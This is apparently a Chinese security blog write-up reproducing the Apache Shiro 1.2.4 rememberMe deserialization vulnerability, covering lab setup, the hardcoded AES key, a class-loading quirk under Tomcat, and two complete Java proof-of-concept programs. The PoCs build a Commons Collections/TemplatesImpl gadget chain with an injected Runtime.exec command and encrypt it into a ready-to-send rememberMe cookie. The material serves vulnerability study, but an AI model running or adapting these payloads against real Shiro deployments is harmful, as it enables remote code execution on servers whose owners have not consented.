简介

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro易于理解的API,开发者可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
在Shiro <=1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中,服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,接着进行AES解密,最后反序列化。由于AES加密是对称式加密(key既能加密数据也能解密数据),所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而触发反序列化漏洞。

环境搭建

在这里选择下载源码来搭建,下载好之后使用最简单的servlet来搭建靶场,倒入shiro-shiro-root-1.2.4 -> samples -> web -> pom.xml
image.png
在配置完成之后,打开打开会报如下错
image.png
解决办法

image.png
然后再导入到对应war包里
image.png
启动项目如下所示
image.png
此时可以看见项目自带了Commons Collections 3.2.1 ,但是在war 包的依赖里没有,这里再将Commons Collections 3.2.1 添加到war包里
image.png
自此环境搭建成功

攻击流程

漏洞触发主要有4步

  • 传入Cookie rememberMe
  • BASE64解码
  • AES解码
  • 反序列化

第1步可以看到shiro的主要特征,就是在Response 的Set-Cookie: rememberMe=deleteMe;一般在登录处就可以看到,由于改项目是一个很简单的servlet,没有很复杂的Controller设计,都是通过Cookie来控制的身份认证
第2步是在Request中的Cookie: rememberMe:xxx进行base64解码
第3步则是将第2步解码的数据进行AES解码,AES是对称加密算法,如果能得知密钥那么加解密就完全受控制了
第4步则是将AES解密算法解密后的数据,进行反序列化,也就是readObject()

那么我们在生成payload的时候,要完成对应AES加密,在AES加密的过程中就需要得知对应的密钥,在此可以知道,shiro <= 1.2.4 是使用的硬编码将密钥编写在代码里,那么现在只需要获取密钥,以及对应的加密代码就可以了

  1. // AbstractRememberMeManager.java
  2. // 硬编码的密钥
  3. private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
  1. // 加密算法
  2. public ByteSource encrypt(byte[] plaintext, byte[] key) {
  3. byte[] ivBytes = null;
  4. boolean generate = this.isGenerateInitializationVectors(false);
  5. if (generate) {
  6. ivBytes = this.generateInitializationVector(false);
  7. if (ivBytes == null || ivBytes.length == 0) {
  8. throw new IllegalStateException("Initialization vector generation is enabled - generated vectorcannot be null or empty.");
  9. }
  10. }
  11. return this.encrypt(plaintext, key, ivBytes, generate);
  12. }
  13. private ByteSource encrypt(byte[] plaintext, byte[] key, byte[] iv, boolean prependIv) throws CryptoException {
  14. int MODE = true;
  15. byte[] output;
  16. if (prependIv && iv != null && iv.length > 0) {
  17. byte[] encrypted = this.crypt(plaintext, key, iv, 1);
  18. output = new byte[iv.length + encrypted.length];
  19. System.arraycopy(iv, 0, output, 0, iv.length);
  20. System.arraycopy(encrypted, 0, output, iv.length, encrypted.length);
  21. } else {
  22. output = this.crypt(plaintext, key, iv, 1);
  23. }
  24. if (log.isTraceEnabled()) {
  25. log.trace("Incoming plaintext of size " + (plaintext != null ? plaintext.length : 0) + ". Ciphertext " + "byte array is size " + (output != null ? output.length : 0));
  26. }
  27. return Util.bytes(output);
  28. }

所以客户端生成对应的加密代码就可以这样写

  1. byte[] payloads = byte[] seariaz_data
  2. AesCipherService aes = new AesCipherService();
  3. byte[] key = new BASE64Decoder().decodeBuffer("kPH+bIxk5D2deZiIxcaaaA==");
  4. ByteSource ciphertext = aes.encrypt(payloads, key);
  5. System.out.printf(ciphertext.toString());

问题说明

在复现过程中,由于shiro默认使用的commons collections 版本号是3.2.1 但是在复现的过程中,在tomcat下无法直接利用 commons-collections:3.2.1 的问题

0X1 org.apache.shiro.io.DefaultSerializer.deserialize:40

这里我们直接看反序列化发生的点,第49行使用了 ClassResolvingObjectInputStream 类而非传统的 ObjectInputStream .这里可能是开发人员做的一种防护措施?
image.png
跟进readObject方法,他重写了 ObjectInputStream 类的 resolveClass 函数, ObjectInputStream 的 resolveClass 函数用的是 Class.forName 类获取当前描述器所指代的类的Class对象
image.png

0x2 org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass:20

然而重写后的 resolveClass 函数,采用的是 ClassUtils.forName ,我们继续看这个forName的实现。
image.png

0x3 org.apache.shiro.util.ClassUtils.forName:59

在这里可以看到与父类的forName方法不一样,再来看看这个 ExceptionIgnoringAccessor 是怎么实现的
image.png
image.png
这里实际上调用了 ParallelWebAppClassLoader 父类 WebappClassLoaderBase 的 loadClass 函数
image.png
该loadClass载入按照上述的顺序(这里不贴代码了,找到 org.apache.catalina.loader.WebappClassLoaderBase.loadClass 即可),先从cache中找已载入的类,如果前3点都没找到,再通过父类 URLClassLoader 的 loadClass 函数载入。但是实际上此时loadClass的参数name值带上了数组的标志,即 /Lorg/apache/commons/collections/Transformer;.class
那么找到原因之后,简单来说,只要使用Transformer链式调用transform()函数,都无法利用成功,那么在commons collections 3.2.1中就不使用Transformer类,那么POC如下

POC1

这里改改CC6(ysoserial)

  1. package com.test;
  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import javassist.ClassClassPath;
  5. import javassist.ClassPool;
  6. import javassist.CtClass;
  7. import org.apache.commons.collections.functors.InvokerTransformer;
  8. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  9. import org.apache.commons.collections.map.LazyMap;
  10. import org.apache.shiro.crypto.AesCipherService;
  11. import org.apache.shiro.util.ByteSource;
  12. import sun.misc.BASE64Decoder;
  13. import java.io.ByteArrayOutputStream;
  14. import java.io.ObjectOutputStream;
  15. import java.lang.reflect.Field;
  16. import java.util.HashMap;
  17. import java.util.HashSet;
  18. import java.util.Map;
  19. public class TestLazyMap {
  20. public static void main(String[] args) throws Exception {
  21. InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
  22. ClassPool pool = ClassPool.getDefault();
  23. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  24. CtClass cls = pool.makeClass("Cat");
  25. String cmdlist = "open /System/Applications/Calculator.app";
  26. String cmd = "java.lang.Runtime.getRuntime().exec(\""+cmdlist+"\");";
  27. cls.makeClassInitializer().insertBefore(cmd);
  28. String randomName = "EvilCat" + System.nanoTime();
  29. cls.setName(randomName);
  30. cls.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  31. byte[] classBytes = cls.toBytecode();
  32. byte[][] targetByteCodes = new byte[][]{classBytes};
  33. TemplatesImpl templates = TemplatesImpl.class.newInstance();
  34. Field f = templates.getClass().getDeclaredField("_name");
  35. f.setAccessible(true);
  36. f.set(templates,"123");
  37. Field f1 = templates.getClass().getDeclaredField("_bytecodes");
  38. f1.setAccessible(true);
  39. f1.set(templates,targetByteCodes);
  40. Field f2 = templates.getClass().getDeclaredField("_class");
  41. f2.setAccessible(true);
  42. f2.set(templates,null);
  43. Map innerMap = new HashMap();
  44. Map lazyMap = LazyMap.decorate(innerMap,transformer);
  45. TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
  46. HashSet map = new HashSet(1);
  47. map.add("foo");
  48. Field f3 = null;
  49. try {
  50. f3 = HashSet.class.getDeclaredField("map");
  51. } catch (NoSuchFieldException e) {
  52. f3 = HashSet.class.getDeclaredField("backingMap");
  53. }
  54. f3.setAccessible(true);
  55. HashMap innimpl = null;
  56. innimpl = (HashMap) f3.get(map);
  57. Field f4 = null;
  58. try {
  59. f4 = HashMap.class.getDeclaredField("table");
  60. } catch (NoSuchFieldException e) {
  61. f4 = HashMap.class.getDeclaredField("elementData");
  62. }
  63. f4.setAccessible(true);
  64. Object[] array = new Object[0];
  65. array = (Object[]) f4.get(innimpl);
  66. Object node = array[0];
  67. if(node == null){
  68. node = array[1];
  69. }
  70. Field keyField = null;
  71. try{
  72. keyField = node.getClass().getDeclaredField("key");
  73. }catch(Exception e){
  74. keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
  75. }
  76. keyField.setAccessible(true);
  77. keyField.set(node, entry);
  78. Field f5 = transformer.getClass().getDeclaredField("iMethodName");
  79. f5.setAccessible(true);
  80. f5.set(transformer,"newTransformer");
  81. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  82. ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
  83. objectOutputStream.writeObject(map);
  84. byte[] payloads = byteArrayOutputStream.toByteArray();
  85. AesCipherService aes = new AesCipherService();
  86. byte[] key = new BASE64Decoder().decodeBuffer("kPH+bIxk5D2deZiIxcaaaA==");
  87. ByteSource ciphertext = aes.encrypt(payloads, key);
  88. System.out.printf(ciphertext.toString());
  89. }
  90. }

image.png
image.png

POC2

  1. package com.test;
  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import javassist.ClassClassPath;
  5. import javassist.ClassPool;
  6. import javassist.CtClass;
  7. import org.apache.commons.collections.functors.InvokerTransformer;
  8. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  9. import org.apache.commons.collections.map.LazyMap;
  10. import org.apache.shiro.crypto.AesCipherService;
  11. import org.apache.shiro.util.ByteSource;
  12. import sun.misc.BASE64Decoder;
  13. import java.io.ByteArrayOutputStream;
  14. import java.io.ObjectOutputStream;
  15. import java.lang.reflect.Field;
  16. import java.util.HashMap;
  17. import java.util.HashSet;
  18. import java.util.Map;
  19. public class TestLazyMap {
  20. public static void main(String[] args) throws Exception {
  21. InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
  22. ClassPool pool = ClassPool.getDefault();
  23. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  24. CtClass cls = pool.makeClass("Cat");
  25. String cmdlist = "open /System/Applications/Calculator.app";
  26. String cmd = "java.lang.Runtime.getRuntime().exec(\""+cmdlist+"\");";
  27. cls.makeClassInitializer().insertBefore(cmd);
  28. String randomName = "EvilCat" + System.nanoTime();
  29. cls.setName(randomName);
  30. cls.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  31. byte[] classBytes = cls.toBytecode();
  32. byte[][] targetByteCodes = new byte[][]{classBytes};
  33. TemplatesImpl templates = TemplatesImpl.class.newInstance();
  34. Field f = templates.getClass().getDeclaredField("_name");
  35. f.setAccessible(true);
  36. f.set(templates,"123");
  37. Field f1 = templates.getClass().getDeclaredField("_bytecodes");
  38. f1.setAccessible(true);
  39. f1.set(templates,targetByteCodes);
  40. Field f2 = templates.getClass().getDeclaredField("_class");
  41. f2.setAccessible(true);
  42. f2.set(templates,null);
  43. Map innerMap = new HashMap();
  44. Map lazyMap = LazyMap.decorate(innerMap,transformer);
  45. TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
  46. HashSet map = new HashSet(1);
  47. map.add(entry);
  48. lazyMap.remove("foo");
  49. Field f3 = transformer.getClass().getDeclaredField("iMethodName");
  50. f3.setAccessible(true);
  51. f3.set(transformer,"newTransformer");
  52. Field f4 = entry.getClass().getDeclaredField("key");
  53. f4.setAccessible(true);
  54. f4.set(entry,templates);
  55. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  56. ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
  57. objectOutputStream.writeObject(map);
  58. byte[] payloads = byteArrayOutputStream.toByteArray();
  59. AesCipherService aes = new AesCipherService();
  60. byte[] key = new BASE64Decoder().decodeBuffer("kPH+bIxk5D2deZiIxcaaaA==");
  61. ByteSource ciphertext = aes.encrypt(payloads, key);
  62. System.out.printf(ciphertext.toString());
  63. }
  64. }

image.png
image.png

参考链接

https://blog.csdn.net/m0_67392409/article/details/124100291
https://blog.csdn.net/HongYu012/article/details/123112913
https://xz.aliyun.com/t/7950?page=5